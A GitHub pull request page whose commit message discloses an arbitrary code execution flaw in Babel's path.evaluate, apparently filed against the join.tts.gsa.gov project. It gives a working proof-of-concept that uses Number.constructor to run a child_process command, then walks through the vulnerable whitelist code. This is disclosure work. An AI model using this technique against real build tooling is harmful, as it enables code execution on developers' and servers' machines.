Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Patched Fix vulnerable to arbitrary code execution when compiling specifically crafted malicious code #1433

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Commits on Jan 4, 2024

  1. Patched Fix vulnerable to arbitrary code execution when compiling spe…

    …cifically crafted malicious code
    
    ## Summary Description :
    The Project of `join.tts.gsa.gov` has vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the `path.evaluate()` or `path.evaluateTruthy()` internal Babel methods.
    
    
    ## The Exploit (Proof of Concept)
    Before delving into the details, let’s take a look at the proof of concept I came up with:
    ```js
    const parser = require("@babel/parser");
    const traverse = require("@babel/traverse").default;
    
    const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`
    
    const ast = parser.parse(source);
    
    const evalVisitor = {
      Expression(path) {
        path.evaluate();
      },
    };
    
    traverse(ast, evalVisitor);
    ```
    ![alt text](https://i.ibb.co/5rMVtzF/success.jpg)
    
    ## Exploit Breakdown
    To understand why this vulnerability works, we need to understand the source code of the culprit function, `evaluate`. The source code of `babel-traverse/src/path/evaluation.ts` prior to the fix is archived [here](https://github.com/babel/babel/blob/7e198e5959b18373db3936fa3223c0811cebfac1/packages/babel-traverse/src/path/evaluation.ts)
    
    ```js
    /**
     * Walk the input `node` and statically evaluate it.
     *
     * Returns an object in the form `{ confident, value, deopt }`. `confident`
     * indicates whether or not we had to drop out of evaluating the expression
     * because of hitting an unknown node that we couldn't confidently find the
     * value of, in which case `deopt` is the path of said node.
     *
     * Example:
     *
     *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
     *   t.evaluate(parse("!true")) // { confident: true, value: false }
     *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
     *
     */
    
    export function evaluate(this: NodePath): {
      confident: boolean;
      value: any;
      deopt?: NodePath;
    } {
      const state: State = {
        confident: true,
        deoptPath: null,
        seen: new Map(),
      };
      let value = evaluateCached(this, state);
      if (!state.confident) value = undefined;
    
      return {
        confident: state.confident,
        deopt: state.deoptPath,
        value: value,
      };
    }
    ```
    When `evaluate` is called on a NodePath, it goes through the `evaluatedCached` wrapper, before reaching the `_evaluate` function which does all the heavy lifting. The `_evaluate` function is where the vulnerability lies.
    
    This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.
    
    The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below
    
    ## Vulnerable Source Code
    The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the `VALID_OBJECT_CALLEES` or `VALID_IDENTIFIER_CALLEES` arrays.
    
    The most interesting one is the second case:
    ```js
    if (
      object.isIdentifier() &&
      property.isIdentifier() &&
      isValidObjectCallee(object.node.name) &&
      !isInvalidMethod(property.node.name)
    ) {
      context = global[object.node.name];
      // @ts-expect-error property may not exist in context object
      func = context[property.node.name];
    }
    
    /** snip **/
    if (func) {
      const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
      if (!state.confident) return;
    
      return func.apply(context, args);
    }
    ```
    The only blacklisted method is `random`, which is a method of the `Math` object. This means that any other method of either the whitelisted `Number`, `String`, or `Math` objects can be directly referenced. In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.
    
    Therefore, the two expressions below are equivalent:
    ```js
    Number.constructor('18F_code_here;');
    Function('18F_code_here;');
    ```
    
    ## Impact
    CWE-184
    CWE-697
    `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
    imhunterand committed Jan 4, 2024
    Configuration menu
    Copy the full SHA
    73ead30 View commit details
    Browse the repository at this point in the history